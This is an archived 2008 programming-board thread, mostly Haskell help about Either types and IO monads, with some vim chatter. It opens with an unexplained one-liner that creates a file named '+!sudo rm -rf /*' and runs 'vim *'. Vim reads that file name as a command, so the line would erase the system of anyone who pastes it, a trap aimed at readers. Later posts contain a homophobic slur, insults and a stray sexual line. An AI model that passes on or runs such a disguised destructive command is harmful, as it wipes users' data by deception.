Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Vim

Name: Anonymous 2008-11-25 5:33

cd `mktemp -d XXXXXX`;touch '+!sudo rm -rf /*' +q;vim *

Name: Anonymous 2008-11-25 5:50

Help /prog/!

I'm trying to learn Haskell; function definitions are throwing me though.

Take for example a function 'boollower'; pass it a Char, and it returns Char.isLower of the char. Pass it a list of chars, and it maps Char.isLower over the list.

Is this overloading possible?

Name: Anonymous 2008-11-25 5:51

Why in flying fuck is my new thread in another thread? Sigh.

Name: Anonymous 2008-11-25 8:04

>>1
0/10

Name: Anonymous 2008-11-25 8:09

boollower c = Char.isLower c
boollower    x:xs = map boollower x:xs

Name: Anonymous 2008-11-25 9:21

>>2
boollower :: Either Char [Char] -> Either Bool [Bool]
boollower (Left c) = Left $ (isLower c)
boollower (Right xs) = Right $ (map isLower xs)


I've never used Either before.

Name: Anonymous 2008-11-25 11:14

>>6
One word, the forced static typing of code, thread over.

Name: Anonymous 2008-11-25 11:29

>>7
I just added that (from :t) so it would be more apparent what the function took and returned.

Name: Anonymous 2008-11-25 13:43

>>8
Aww. One of these days you'll be able to infer type signatures without resorting to :t :)

Name: Anonymous 2008-11-25 13:48

GTFO haskell faggots nobody wants to see your wankery toy langauge bullshit here FUCK OFF

Name: Anonymous 2008-11-25 14:32

>>9
I can generally do that, but I had no idea of what the Either type looked like; I'm also lazy, so this saved me quite a lot of keystrokes.

Name: Anonymous 2008-11-26 20:00


main = do
  let namelist = names
  map (putStrLn) namelist


names being an IO do (getLine'ing a name, consing it to a list of names).

GHC shits bricks over names being an action returning a string, then using namelist (which is now IO [String] due to the let) in my map to output the names that got IO'd earlier.

Hlep?

Name: Anonymous 2008-11-26 20:08

what does all this toy language shit have to do with vim?

Name: Haskell 2008-11-26 20:15

s/let namelist = names/namelist <- names/
s/map/mapM_/
lrn2monad

Name: Anonymous 2008-11-26 21:30

main = names >>= mapM_ putStrLn

Name: Anonymous 2008-11-26 21:43

OMG, The only thing worse than Haskell is Haskell with monads.

Name: Anonymous 2008-11-26 21:59

>>16
What's wrong with nomads?

Name: Anonymous 2008-11-27 2:28

>>15
main = names >>= putStr . unlines

Name: Anonymous 2008-11-27 3:02

sup /prog/

what the hell is the difference between vim tiny, small, big, and huge?

Name: Anonymous 2008-11-27 3:27

Name: Anonymous 2008-11-27 11:51

>>19
They are all huge.

Name: Anonymous 2008-11-27 23:17

>>21
I'm huge. If you know what I mean.

Name: Anonymous 2008-11-28 0:15

The Pleasure of Being Cummed Inside

Name: Anonymous 2008-11-28 0:54

>>1 is DQN.

Don't change these.
Name: Email:
Entire Thread Thread List